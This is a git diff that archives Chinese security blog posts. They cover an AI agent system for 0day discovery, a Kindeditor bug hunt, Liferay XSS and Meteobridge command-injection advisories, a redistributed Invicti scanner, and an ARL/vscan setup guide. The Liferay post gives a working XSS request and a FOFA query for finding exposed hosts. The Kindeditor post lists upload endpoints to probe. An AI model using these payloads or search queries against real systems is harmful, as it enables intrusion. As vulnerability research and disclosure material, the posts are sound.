diff --git a/data.json b/data.json
index 76509840..4e5a2b7e 100644
--- a/data.json
+++ b/data.json
@@ -14845,5 +14845,16 @@
"https://mp.weixin.qq.com/s?__biz=MzU4NjY4MDAyNQ==&mid=2247497536&idx=1&sn=7318bd01d7d51cb7892c8ac62203bacb": "【漏洞通告】DataEase远程代码执行漏洞安全风险通告",
"https://mp.weixin.qq.com/s?__biz=Mzg2NjgzNjA5NQ==&mid=2247524460&idx=1&sn=7d2b4e4d60276ffcbb0e8a79d51308cf": "DataEase H2数据库远程代码执行漏洞(CVE-2025-49002)",
"https://mp.weixin.qq.com/s?__biz=MzIyNDkwNjQ5Ng==&mid=2247486115&idx=1&sn=b606ab44ebe50c4968bb70b369ba0f04": "CVE-2025-49113 Roundcube Webmail反序列化漏洞分析",
- "https://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486694&idx=1&sn=c0b1408fba02412f21d2e7d5c3078bed": "【漏洞预警】DataEase 远程代码执行漏洞(CVE-2025-49002)"
+ "https://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486694&idx=1&sn=c0b1408fba02412f21d2e7d5c3078bed": "【漏洞预警】DataEase 远程代码执行漏洞(CVE-2025-49002)",
+ "https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247491943&idx=1&sn=e84dfaf45db4b4d1cc436ecc54f3e8c9": "WEB漏洞扫描器Invicti-Professional-V25.5.1（自动化爬虫漏洞扫描）更新",
+ "https://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247519440&idx=1&sn=2c02d7338cb44ac37b0fdcb7466ad272": "突破常规！文件上传漏洞的6大隐蔽攻击面（多个高危场景剖析）|挖洞技巧",
+ "https://mp.weixin.qq.com/s?__biz=MzI0MTUwMjQ5Nw==&mid=2247488974&idx=1&sn=5b2444dbfe6ced072d11a897895e3fee": "超骚逻辑漏洞-滥用自动邮件回复程序访问内部工作场所",
+ "https://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247524699&idx=1&sn=aa6aabfcb1a711cabae2aa5b84c2e4af": "谷歌披露威胁组织攻击方式：伪造Salesforce数据加载器实施钓鱼攻击",
+ "https://mp.weixin.qq.com/s?__biz=MzIxMjEzMDkyMA==&mid=2247488552&idx=2&sn=943465d2d861698941b2f73fc679ea7f": "Smartded Meteobridg的template.cgi接口存在任意命令注入CVE-2025-4008 附POC",
+ "https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247485776&idx=1&sn=deb484fff8f887811d04f804566d5b5b": "Kindeditor编辑器漏洞挖掘",
+ "https://mp.weixin.qq.com/s?__biz=MzIxMjEzMDkyMA==&mid=2247488552&idx=1&sn=778857248586131ae73927608b847830": "Liferay icon.jsp接口存在跨站漏洞CVE-2025-4388 附POC",
+ "https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070016&idx=3&sn=2f8103c74269e54bf6753a609066de26": "【安全圈】在VMWare NSX中发现多个存储的XSS漏洞-立即修补",
+ "https://mp.weixin.qq.com/s?__biz=MzkzMzE5OTQzMA==&mid=2247486915&idx=1&sn=1f9e76e950e746d6c1ab9c1e3312cea4": "【信息收集】ARL灯塔搭建教程-联动vscan自动化漏洞扫描",
+ "https://mp.weixin.qq.com/s?__biz=MjM5ODYwMjI2MA==&mid=2649793732&idx=1&sn=59278d0b2074a9c856a0700dfac2b83d": "0day漏洞量产？AI Agent“生产线”曝光",
+ "https://mp.weixin.qq.com/s?__biz=MzkzNzMxODkzMw==&mid=2247485899&idx=1&sn=376aea6abca97546fc3a44c807047baa": "唯德科创 IPEasy 知易通 WSFM 任意文件上传漏洞"
}
\ No newline at end of file
diff --git a/doc/2025-06/0day漏洞量产？AI Agent“生产线”曝光.md b/doc/2025-06/0day漏洞量产？AI Agent“生产线”曝光.md
new file mode 100644
index 00000000..f5077b57
--- /dev/null
+++ b/doc/2025-06/0day漏洞量产？AI Agent“生产线”曝光.md
@@ -0,0 +1,191 @@
+# 0day漏洞量产？AI Agent“生产线”曝光
+原创 腾讯程序员 腾讯技术工程 2025-06-05 12:30
+
+
+
+作者：悟空团队 — 新一代 AI 代码安全捉“妖”行者（原腾讯AI安全-啄木鸟团队)
+> 丨
+导语
+
+随着AI技术的迅猛发展，AI智能体在0day漏洞挖掘领域展现出前所未有的潜力。
+> 本文将深入探讨AI Agent如何通过创新的多智能体协作系统，打造出高效的0day漏洞“生产线”，实现自动化的漏洞检测。通过基准测试和实战验证，Agent在复杂代码和大型项目中的表现超越传统工具，极大提升了漏洞识别效率与准确性。
+
+### 一、AI Agent 颠覆0day挖掘认知
+
+在网络安全攻防的核心战场，0day漏洞挖掘长期以来被视为一项极度依赖专家经验、耗时费力的“手艺活”。
+
+传统的0day挖掘如同大海捞针，依赖人工审计和静态应用安全测试（SAST）工具，虽有其作用，但在应对日益庞杂的代码和系统时，往往面临误报、漏报和效率低下等问题，在处理大型项目、复杂代码系统时，它们的局限性也逐渐显现。
+
+
+
+
+
+（插画图：AI Agent 与传统漏洞挖掘方式对比）
+
+AI Agent 的出现，正为这一困境带来革命性的突破。通过模拟人类专家的分析与推理能力，结合机器学习的强大模式识别能力，AI Agent 不仅能大幅度自动化审计流程、减轻人工负担，更能精准识别出传统方法难以发现的复杂漏洞，显著提升漏洞挖掘的效率、准确性和深度。
+
+### 二、“0day生产线”是如何建成的？
+
+AI Agent 通过构建一个多智能体协作系统，效仿专业安全团队的协作机制，从而打造出一条自动化的0day漏洞“生产线”。
+## 1. 系统架构：协同作战的智能军团
+
+(1)
+
+
+Client Agent ：
+用户交互的入口，负责提交任务并与其他智能体进行协调。
+
+(2)
+
+
+Remote Agent ：
+负责任务规划与路由，负责将复杂任务分解，并依据各专业智能体的能力进行最优分配，确保整体任务高效执行。
+
+(3)
+
+
+Audit Agent ：
+审计智能体，
+漏洞挖掘的核心执行单元。它负责对代码进行从代码片段级到完整项目级的多层次、多维度扫描与风险评估。集成了多种先进扫描技术和算法，以增强审计的广度和深度。
+
+(4)
+
+
+Review Agent ：
+复审智能体，负责进一步审核漏洞检测结果，结合多种Prompt和评分机制，确认漏洞的有效性和严重性，大幅降低误报。
+
+(5)
+
+
+Fix Agent ：
+修复智能体，
+此智能体负责提供初步的修复建议。它通过查询CVE漏洞库、内部知识库等，生成漏洞修复方案。
+
+
+
+（图：悟空 AI Agent 架构图）
+
+悟空 Agent 的核心优势在于，它通过精细分工克服了单一智能体在知识广度、分析深度和任务并行处理能力上的局限，使得复杂漏洞的挖掘如同专家团队高效会诊，而非单兵作战。通过A2A（Agent-to-Agent）协议高效协同，确保任务从宏观规划到微观执行的无缝衔接。
+
+
+2.
+
+
+工作流程：自动化的流水线作业
+
+悟空 Agent 的工作流程高度自动化，宛如一条精密的流水线：
+
+
+
+（图：悟空 Agent 工作流程图）
+
+(1)
+
+
+任务接收与分解：
+ 用户通过
+Client Agent
+提交任务。该任务首先到达“产线总指挥”——
+ Remote Agent
+。它利用大语言模型（LLM）进行任务规划，将复杂需求智能分解为独立的子任务（如代码审计、结果验证、修复方案生成）。
+
+(2)
+
+
+并行专业处理：
+ 分解后的子任务被自动派发至“流水线”上的各个专业“工站”——即并行的
+Audit Agent 、Review Agent 和 Fix Agent 。
+
+●
+
+Audit Agent
+运用LLM和代码分析模块（如入口识别、上下文获取、漏洞推理）执行深度扫描。
+
+●
+
+Review Agent
+利用LLM及多重校验、投票机制（如多Checker、疑难点反思）确保结果准确性。
+
+●
+
+Fix Agent
+参考知识库（CVE库、内部库），借助LLM微调生成修复建议并进行语法检查。
+
+(3)
+
+
+结果汇总输出：
+ 各智能体完成工作后，将处理响应反馈给
+Remote Agent
+。由它负责整合所有子任务的结果，形成一份完整的、经过层层处理的最终报告或解决方案，并准备交付。
+
+
+
+（图：悟空 Agent 的实际工作流程界面）
+
+这个流程通过明确的分工和智能体的并行协作，实现了从任务输入到结果输出的高度自动化，显著提升了漏洞挖掘与处理的效率。
+
+### 三、AI Agent 的产出与实战验证
+## 1. 基准数据测试：
+### ● GitHub Top 1000开源项目实战验证
+
+为全面评估悟空 Agent 在真实且复杂的代码环境中的实战能力，**我们选取了 GitHub 平台某语言排名前1000的开源项目作为基准测试集**
+，直接对这些广泛使用的代码仓库进行真实漏洞扫描与检测。
+
+在测试中，悟空 Agent 展现出高效且精准的漏洞识别能力。**特别是在针对SQL注入等常见高危漏洞的检测上，准确率超95%**
+。
+
+在对GitHub Top 1000项目的整体扫描中，**悟空 Agent 共计发现并确认了 247 处有效漏洞**
+。这些漏洞在不同影响力层级的项目中均有分布，具体构成请见下图分析：
+
+
+
+（图：悟空 Agent 在 Github 某语言下Top1000项目的实战检测成果）
+
+从图中可以看出，虽然顶级项目安全防护相对严密，但中长尾项目中仍存在大量可被利用的风险点。我们也对大部分检出漏洞进行了 CVE 编号申报，申报结果大致分布为：
+
+
+
+（图：悟空 Agent检出漏洞的 CVE 申报情况）
+
+
+2.
+
+
+实战验证
+### ● 中大型开源项目
+
+在对Github 某 23k Stars 的中大规模开源项目的实战审计中，悟空 Agent 的表现与传统静态应用安全测试（SAST）工具形成了鲜明对照。具体差异可总结如下：
+对比维度 | 传统SAST工具 | 悟空 Agent |
有效漏洞发现 | 检出数量有限，难以深入复杂逻辑 | 检出较多 (项目中 >15个未披露漏洞) |
误报情况 | 误报率通常极高 | 误报率显著降低 |
分析能力 | 侧重已知模式匹配，表层分析为主 | 深度逻辑推理，理解复杂输入与上下文 |
审计效率 | 大量误报耗费人工甄别时间 | 更聚焦高价值风险，提升人工效率 |
+我们在持续迭代工具之余，也及时向项目官方和 CVE 官方纰漏了漏洞细节：
+
+
+
+（图：悟空团队向项目官方披露漏洞细节及修复建议邮件）
+
+
+
+（图：CVE 官方授予悟空团队漏洞编号的邮件）
+### ● 大型开源项目
+
+为进一步检验悟空 Agent 在处理超大规模、高复杂度项目上的实战效能，我们选取了当前 AI 领域中广受瞩目且代码量庞大的开源项目 Langchain 作为目标，Langchain其复杂的架构、众多的依赖关系以及快速的迭代周期，对任何自动化安全审计工具而言都是一项严峻的挑战。
+
+面对如 LangChain 这样超 100K Stars 的大型项目，悟空 Agent 依然展现出其强大的分析推理能力，通过细致的扫描和智能研判，**悟空 Agent 成功在Langchain中识别出若干此前未被发现的潜在安全漏洞。**
+
+
+
+（图：悟空 Agent 后台检出 LangChian 项目的未纰漏漏洞）
+
+我们高度重视这些发现，并已遵循负责任的漏洞披露原则，将相关的技术细节和潜在风险点整理后，已通过官方渠道或指定的第三方漏洞报告平台（如面向AI/ML项目的Huntr）正式报送给 Langchain 项目维护团队及相关安全应急响应中心。
+
+
+### 四、结语
+
+悟空 Agent 是 AI 在漏洞挖掘领域应用的成功案例，通过创新的多智能体协作模式，将0day漏洞的发现效率和准确性提升到了新的高度。AI技术的持续进化，正驱动网络安全迈向智能化、自动化新高度。这不仅是场技术革命，更是安全理念的升华——AI旨在赋能而非取代安全专家。
+
+我们应积极拥抱这场变革，通过深化人机协同，共筑更智能、主动且更具韧性的网络安全新范式。这将使安全专家得以从重复劳动中解放，专注于战略性与创新性挑战，最终推动整个网络安全生态实现跨越式提升。
+
+
+
+
+
diff --git a/doc/2025-06/Kindeditor编辑器漏洞挖掘.md b/doc/2025-06/Kindeditor编辑器漏洞挖掘.md
new file mode 100644
index 00000000..8176479a
--- /dev/null
+++ b/doc/2025-06/Kindeditor编辑器漏洞挖掘.md
@@ -0,0 +1,66 @@
+# Kindeditor编辑器漏洞挖掘
+原创 锐鉴安全 锐鉴安全 2025-06-05 11:38
+
+声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。
+
+关注公众号，设置为星标，
+不定期有宠粉福利
+
+
+
+
+在edu src信息收集完，发现某证书站的投稿模块。
+
+
+
+
+点击？发现富文本编辑器的情况及版本信息。
+
+
+
+
+查了下版本对应的漏洞情况，存在任意文件上传漏洞，使用poc测试了下，貌似已被修复，无法利用。pco如下，各位师傅后续遇到可以进行探测，只有在存在以下路径的情况下才可利用。在本案例中使用的jsp版本不存在。
+
+
+
+是否存在有必要验证文件upload_json.*，常见判断路径如下：
+
+kindeditor/asp/upload_json.asp?dir=file
+
+kindeditor/asp.net/upload_json.ashx?dir=file
+
+kindeditor/jsp/upload_json.jsp?dir=file
+
+kindeditor/php/upload_json.php?dir=file
+
+
+
+进一步对前端的编辑器进行测试。直接输入相关的xss语句，在前端已被转义，无法进行利用。
+
+经过尝试每个功能，发现此处可以插入html语句功能。
+
+
+
+点击后，在文本框中输入xss语句。
+```
+a。
+```
+
+
+
+
+
+完后点击恢复。
+
+
+
+
+已成功插入至文本编辑器中，出现了点击url。
+
+
+
+直接点击，无法触发。但此时发现编辑器中有个预览功能，此功能主要用于对插入的内容进行预览。预览时成功xss弹窗。
+
+
+
+
diff --git a/doc/2025-06/Liferay icon.jsp接口存在跨站漏洞CVE-2025-4388 附POC.md b/doc/2025-06/Liferay icon.jsp接口存在跨站漏洞CVE-2025-4388 附POC.md
new file mode 100644
index 00000000..2d75711e
--- /dev/null
+++ b/doc/2025-06/Liferay icon.jsp接口存在跨站漏洞CVE-2025-4388 附POC.md
@@ -0,0 +1,89 @@
+# Liferay icon.jsp接口存在跨站漏洞CVE-2025-4388 附POC
+2025-6-5更新 南风漏洞复现文库 2025-06-05 15:16
+
+
+
+免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
+## 1. Liferay简介
+
+微信公众号搜索：南风漏洞复现文库
+
+该文章 南风漏洞复现文库 公众号首发
+
+Liferay
+## 2.漏洞描述
+
+攻击者可以通过注入恶意的 JavaScript 代码到 modules/apps/marketplace/marketplace-app-manager-web
+ 中来利用此漏洞。此漏洞属于反射型 XSS，意味着攻击者需要诱使用户点击特定的链接或进行某些操作来触发漏洞。Liferay Portal 7.4.0 至 7.4.3.131 以及 Liferay DXP 2024.Q4.0 至 2024.Q4.5、2024.Q3.1 至 2024.Q3.13、2024.Q2.0 至 2024.Q2.13、2024.Q1.1 至 2024.Q1.12 和 7.4 GA 至更新 92 中存在的反射型跨站脚本 (XSS) 漏洞，允许远程非认证攻击者注入 JavaScript 到 modules/apps/marketplace/marketplace-app-manager-web
+ 中。
+
+CVE编号:CVE-2025-4388
+
+CNNVD编号:
+
+CNVD编号:
+## 3.影响版本
+- • Liferay Portal: 7.4.0 至 7.4.3.131 - Liferay DXP: - 2024.Q4.0 至 2024.Q4.5 - 2024.Q3.1 至 2024.Q3.13 - 2024.Q2.0 至 2024.Q2.13 - 2024.Q1.1 至 2024.Q1.12 - 7.4 GA 至 92
+
+
+
+Liferay o/marketplace-app-manager-web/icon.jsp接口存在跨站漏洞
+
+## 4.fofa查询语句
+
+body="liferayPortalCSS"
+## 5.漏洞复现
+
+漏洞链接：https://xx.xx.xx.xx/o/marketplace-app-manager-web/icon.jsp?iconURL=https:///%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E
+
+漏洞数据包：
+```
+GET /o/marketplace-app-manager-web/icon.jsp?iconURL=https:///%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1Host: xx.xx.xx.xxUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)Accept: */*Connection: Keep-Alive
+```
+
+
+
+## 6.POC&EXP
+
+本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球：南风网络安全
+
+
+1: 更新poc批量扫描软件，承诺，一周更新8-14个插件吧，我会优先写使用量比较大程序漏洞。
+
+
+2: 免登录，免费fofa查询。
+
+
+3: 更新其他实用网络安全工具项目。
+
+
+4: 免费指纹识别，持续更新指纹库。
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+## 7.整改意见
+
+建议您更新当前系统或软件至最新版，完成漏洞的修复。
+## 8.往期回顾
+
+
+
+
+
+
diff --git a/doc/2025-06/Smartded Meteobridg的template.cgi接口存在任意命令注入CVE-2025-4008 附POC.md b/doc/2025-06/Smartded Meteobridg的template.cgi接口存在任意命令注入CVE-2025-4008 附POC.md
new file mode 100644
index 00000000..a11ba59b
--- /dev/null
+++ b/doc/2025-06/Smartded Meteobridg的template.cgi接口存在任意命令注入CVE-2025-4008 附POC.md
@@ -0,0 +1,81 @@
+# Smartded Meteobridg的template.cgi接口存在任意命令注入CVE-2025-4008 附POC
+2025-6-5更新 南风漏洞复现文库 2025-06-05 15:16
+
+
+
+免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
+## 1. Smartded Meteobridg简介
+
+微信公众号搜索：南风漏洞复现文库
+
+该文章 南风漏洞复现文库 公众号首发
+
+Meteobridge
+## 2.漏洞描述
+
+Meteobridge的Web界面允许meteobridge管理员通过CGI shell脚本和C编写的Web应用程序管理其气象站的数据收集并管理meteobridge系统。然而，这个Web界面存在一个暴露的端点，容易受到命令注入攻击。这使得远程未经身份验证的攻击者可以在受影响设备上获得任意命令执行权限（root权限）。
+
+CVE编号:CVE-2025-4008
+
+CNNVD编号:
+
+CNVD编号:
+## 3.影响版本
+
+Meteobridge
+
+
+
+Smartded Meteobridg的template.cgi接口存在任意命令注入
+## 4.fofa查询语句
+
+"Meteobridge"
+## 5.漏洞复现
+
+
+
+
+## 6.POC&EXP
+
+本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球：南风网络安全
+
+
+1: 更新poc批量扫描软件，承诺，一周更新8-14个插件吧，我会优先写使用量比较大程序漏洞。
+
+
+2: 免登录，免费fofa查询。
+
+
+3: 更新其他实用网络安全工具项目。
+
+
+4: 免费指纹识别，持续更新指纹库。
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+## 7.整改意见
+
+建议您更新当前系统或软件至最新版，完成漏洞的修复。
+## 8.往期回顾
+
+
+
+
+
+
diff --git a/doc/2025-06/WEB漏洞扫描器Invicti-Professional-V25.5.1（自动化爬虫漏洞扫描）更新.md b/doc/2025-06/WEB漏洞扫描器Invicti-Professional-V25.5.1（自动化爬虫漏洞扫描）更新.md
new file mode 100644
index 00000000..796d3751
--- /dev/null
+++ b/doc/2025-06/WEB漏洞扫描器Invicti-Professional-V25.5.1（自动化爬虫漏洞扫描）更新.md
@@ -0,0 +1,255 @@
+# WEB漏洞扫描器Invicti-Professional-V25.5.1（自动化爬虫漏洞扫描）更新
+原创 城北 渗透安全HackTwo 2025-06-05 16:02
+
+前言
+
+**Invicti 专业 Web 应用程序安全扫描器**
+
+自动、极其准确且易于使用的 Web 应用程序安全扫描程序，可自动查找网站、Web 应用程序和 Web 服务中的安全漏洞。
+
+
+
+Invicti Professional Edition 是一款商业 Web 应用程序安全扫描器。它旨在自动查找和修复 Web 应用程序中的 SQL 注入、跨站脚本 (XSS) 和跨站请求伪造 (CSRF) 等漏洞。
+
+
+
+它可以扫描托管在各种平台上的 Web 应用程序，包括 Windows、Linux 和 macOS。它提供了一系列功能来帮助开发人员和安全专业人员识别和修复其 Web 应用程序中的漏洞，包括可以识别各种漏洞的自动扫描程序，以及允许用户手动测试漏洞的手动测试工具。它可以作为独立产品或云服务提供。
+
+
+
+**一些基本的安全测试应包括测试：**
+
+- SQL注入
+
+- XSS（跨站脚本）
+
+- DOM跨站脚本攻击
+
+- 命令注入
+
+- 盲命令注入
+
+- 本地文件包含和任意文件读取
+
+- 远程文件包含
+
+- 远程代码注入/评估
+
+- CRLF / HTTP 标头注入 / 响应分割
+
+- 打开重定向
+
+- 帧注入
+
+- 具有管理员权限的数据库用户
+
+- 漏洞 - 数据库（推断的漏洞）
+
+- ViewState 未签名
+
+- ViewState 未加密
+
+- 网络后门
+
+- TRACE / TRACK 方法支持已启用
+
+- 禁用 XSS 保护
+
+- 启用 ASP.NET 调试
+
+- 启用 ASP.NET 跟踪
+
+- 可访问的备份文件
+
+- 可访问的 Apache 服务器状态和 Apache 服务器信息页面
+
+- 可访问的隐藏资源
+
+- 存在漏洞的 Crossdomain.xml 文件
+
+- 易受攻击的 Robots.txt 文件
+
+- 易受攻击的 Google 站点地图
+
+- 应用程序源代码公开
+
+- Silverlight 客户端访问策略文件存在漏洞
+
+- CVS、GIT 和 SVN 信息和源代码公开
+
+- PHPInfo() 页面可访问以及 PHPInfo() 在其他页面中的披露
+
+- 可访问敏感文件
+
+- 重定向响应主体太大
+
+- 重定向响应 BODY 有两个响应
+
+- 通过 HTTP 使用不安全的身份验证方案
+
+- 通过 HTTP 传输的密码
+
+- 通过 HTTP 提供的密码表单
+
+- 暴力破解获取认证
+
+- 通过 HTTP 获取的基本身份验证
+
+- 凭证薄弱
+
+- 电子邮件地址泄露
+
+- 内部IP泄露
+
+- 目录列表
+
+- 版本公开
+
+- 内部路径泄露
+
+- 访问被拒绝的资源
+
+- MS Office信息披露
+
+- 自动完成已启用
+
+- MySQL 用户名泄露
+
+- 默认页面安全性
+
+- Cookie 未标记为安全
+
+- Cookie 未标记为 HTTPOnly
+
+- 堆栈跟踪披露
+
+- 编程错误信息披露
+
+- 数据库错误信息披露
+
+
+
+
+01
+
+# 更新介绍
+
+
+```
+新功能
+实施 Web 应用程序以安全存储和检索预请求脚本的密码
+添加了 NTA 与 NGINX 的集成（阅读更多）
+改进
+除二级域名外，所有字段均已实现默认限制设置为 1000，且无标志
+在与 Azure Boards 集成时实现了自定义字段 Parent 选项
+实施代理，用于安全存储和检索预请求脚本的密码
+已解决的问题
+解决了技术仪表板上的一个问题
+使用“不包含”条件时，“所有问题”中的“标签”过滤器现在可正常工作
+已解决在“目标群组”页面上筛选目标列表时未显示结果的问题。此问题与“查看目标列表”权限相关。
+解决了 TestBasicAuthCredentials 过程中的通信问题并改进了 HTTP 连接处理
+解决了并非所有属性都从“问题”页面正确导出的问题
+修复了扫描摘要中错误请求响应的问题
+修复 WordPress 插件 Contact Form 7 的命名问题
+修复了 LoginRequiredUrl 和 Pre-Request 脚本请求导致 HTTP 请求瓶颈的问题
+修复了 OAuth2 授权请求中不必要包含代码参数的问题
+扫描引擎现在可以正确处理从浏览器收到的合并请求标头
+解决了使用云代理进行扫描在延长运行时间后偶尔会失败并出现“代理不可用”错误的问题
+Invicti Enterprise On-Premises 中验证包完整性哈希值的注意事项
+“25.5.0.zip”文件的哈希值如下所示。您可以使用上述方法之一检查其哈希值，以验证文件的完整性：发布包哈希值： F89BE5A51ACC8F1AC6AAE11A620B95B208FE26C9F128FCA297A65E45796E7C61
+验证哈希值的方法：
+PowerShell (Windows):
+Get-FileHash -Path "25.5.0.zip" -Algorithm SHA256
+Command Prompt (Windows):
+certutil -hashfile "25.5.0.zip" SHA256
+Linux or macOS:
+sha256sum "25.5.0.zip"
+```
+
+
+
+02
+
+# 使用/安装方法
+
+
+1.解压打开Netsparkey.exe
+
+
+
+2.选择URl进行测试即可
+
+
+
+
+****
+
+
+03
+
+# 免责声明
+
+
+# 获取方法
+
+
+**公众号回复20250606获取Invicti-Professional**
+
+**👉点击加入内部VIP星球享受VIP资源****👈**
+
+
+
+
+# 最后必看
+
+
+ 本工具及文章技巧仅面向合法授权的企业安全建设行为，如您需要测试本工具的可用性，请自行搭建靶机环境。
+为
+避免被恶意使用，本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。
+
+
+ 在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。请勿对非授权目标进行扫描。
+如您在使用本工具的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。
+本工具来源于网络，请在24小时内删除，请勿用于商业行为，自行查验是否具有后门，切勿相信软件内的广告！
+
+
+ 在安装并使用本工具前，请您务必审慎阅读、充分理解各条款内容，限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。除非您已充分阅读、完全理解并接受本协议所有条款，否则，请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束。
+
+
+
+
+# 往期推荐
+
+
+**1.内部VIP知识星球福利介绍V1.4（AI自动化工具）******
+
+**2.******
+**4.8-CobaltStrike4.9汉化+最新插件集成版发布**
+
+**3.最新Nessus2024.10.7版本下载**
+
+**4.**
+**最新xray1.9.11高级版下载Windows/Linux**
+
+**5.记一次挖洞springboot未授权到反弹shell|挖洞技巧**
+
+###### 渗透安全HackTwo
+###### 想了解星球福利回复:星球
+
+
+微信号：关注公众号获取
+
+扫码关注 了解更多
+
+
+
+
+
+
+喜
+欢的朋友可以点赞转
+发
+
+
+
+
diff --git a/doc/2025-06/【信息收集】ARL灯塔搭建教程-联动vscan自动化漏洞扫描.md b/doc/2025-06/【信息收集】ARL灯塔搭建教程-联动vscan自动化漏洞扫描.md
new file mode 100644
index 00000000..cd6b665b
--- /dev/null
+++ b/doc/2025-06/【信息收集】ARL灯塔搭建教程-联动vscan自动化漏洞扫描.md
@@ -0,0 +1,224 @@
+# 【信息收集】ARL灯塔搭建教程-联动vscan自动化漏洞扫描
+原创 网络攻防情报小组 C4安全团队 2025-06-05 15:37
+
+安装环境：Ubuntu
+
+灯塔安装docker容器下载链接：
+
+https://pan.xunlei.com/s/VONOpsG-EUyAvbg9jWdGZ_6OA1?pwd=gdmz#
+
+
+
+
+将上面的容器文件tar包和ARL的压缩包zip包下载下来，先解压zip文件
+
+再使用docker命令加载下载下来的tar包：
+
+
+
+进入zip解压后的ARL下面的docker目录，使用命令创建
+
+
+
+
+
+之后使用docker-compose up -d启动ARL
+
+
+
+启动成功
+
+
+
+
+漏洞扫描工具vscan下载地址：
+
+https://github.com/youki992/VscanPlus/releases
+
+建议下载v1.0.4.2版本，选择Linux可执行文件
+
+
+
+因为ARL自带的Centos容器版本较老，
+v1.0.4.2以上的
+版本编译的vscan运行会提示更新GLIBC，非常麻烦不建议尝试
+
+
+
+重命名下载的vscanPlus为vscan，复制到ARL对应的三个容器中：
+
+arl_web、arl_worker、arl_scheduler，目录都是一样的
+```
+docker cp vscan arl_web:/usr/bin/vscan
+docker cp vscan arl_worker:/usr/bin/vscan
+docker cp vscan arl_scheduler:/usr/bin/vscan
+```
+
+然后把漏洞扫描的逻辑文件nuclei_scan.py，也按同理复制到三个容器中
+
+下载地址如下：
+
+
+
+https://cowtransfer.com/s/739a8b4c12a44d，或访问奶牛快传 cowtransfer.com 输入传输口令 rl0omb
+
+复制命令如下
+```
+docker cp nuclei_scan.py arl_web:/code/app/services/nuclei_scan.py
+docker cp nuclei_scan.py arl_worker:/code/app/services/nuclei_scan.py
+docker cp nuclei_scan.py arl_scheduler:/code/app/services/nuclei_scan.py
+```
+
+然后给这三个容器配置libpcap环境，这里以其中一个环境为例
+
+因为Centos版本较老，首先需要更换yum源
+
+在/etc/yum.repos.d文件夹下新建CentOS-Base.repo文件
+
+
+
+写入内容如下
+```
+# CentOS-Base.repo
+#
+# The mirror system uses the connecting IP address of the client and the
+# update status of each mirror to pick mirrors that are updated to and
+# geographically close to the client. You should use this for CentOS updates
+# unless you are manually picking other mirrors.
+#
+# If the mirrorlist= does not work for you, as a fall back you can try the
+# remarked out baseurl= line instead.
+#
+#
+
+[base]
+name=CentOS-$releasever - Base
+mirrorlist=http://vault.centos.org/?release=$releasever&arch=$basearch&repo=os&infra=$infra
+baseurl=http://vault.centos.org/centos/$releasever/os/$basearch/
+gpgcheck=1
+gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
+
+#released updates
+[updates]
+name=CentOS-$releasever - Updates
+mirrorlist=http://vault.centos.org/?release=$releasever&arch=$basearch&repo=updates&infra=$infra
+baseurl=http://vault.centos.org/centos/$releasever/updates/$basearch/
+gpgcheck=1
+gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
+
+#additional packages that may be useful
+[extras]
+name=CentOS-$releasever - Extras
+mirrorlist=http://vault.centos.org/?release=$releasever&arch=$basearch&repo=extras&infra=$infra
+baseurl=http://vault.centos.org/centos/$releasever/extras/$basearch/
+gpgcheck=1
+gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
+
+#additional packages that extend functionality of existing packages
+[centosplus]
+name=CentOS-$releasever - Plus
+mirrorlist=http://vault.centos.org/?release=$releasever&arch=$basearch&repo=centosplus&infra=$infra
+baseurl=http://vault.centos.org/centos/$releasever/centosplus/$basearch/
+gpgcheck=1
+enabled=0
+gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
+
+```
+
+之后更新yum源
+
+
+
+之后安装libpcap环境
+
+yum install libpcap-devel
+
+
+
+建立libpcap的软连接
+
+
+
+再运行vscan，漏扫程序就正常提示输入参数了
+
+
+
+回到ARL系统页面，在策略配置中，配置一条勾选"nuclei调用"的策略
+
+
+
+使用该策略下发一条任务，在信息收集完成后，可以看到原先nuclei的扫描结果被替换成了vscan的扫描结果，其中包含目录扫描、指纹检测、漏洞扫描三部分，众所周知vscan是基于指纹检测漏洞的，所以指纹检测错误会影响最终漏洞结果，其中：
+
+漏洞URL中会显示扫描的敏感目录
+
+漏洞名称中会显示vscan自带的指纹检测结果
+
+验证命令中会写明简略的漏洞名称（需要对照nuclei或xray的漏洞poc找到漏洞细节）
+
+
+
+
+
+2025年团队HW情报交流群如下，目前招聘中高级别研判，师傅可进群交流
+
+
+
+****
+**专栏介绍**
+
+Freebuf知识大陆内部共享资料截屏详情如下
+
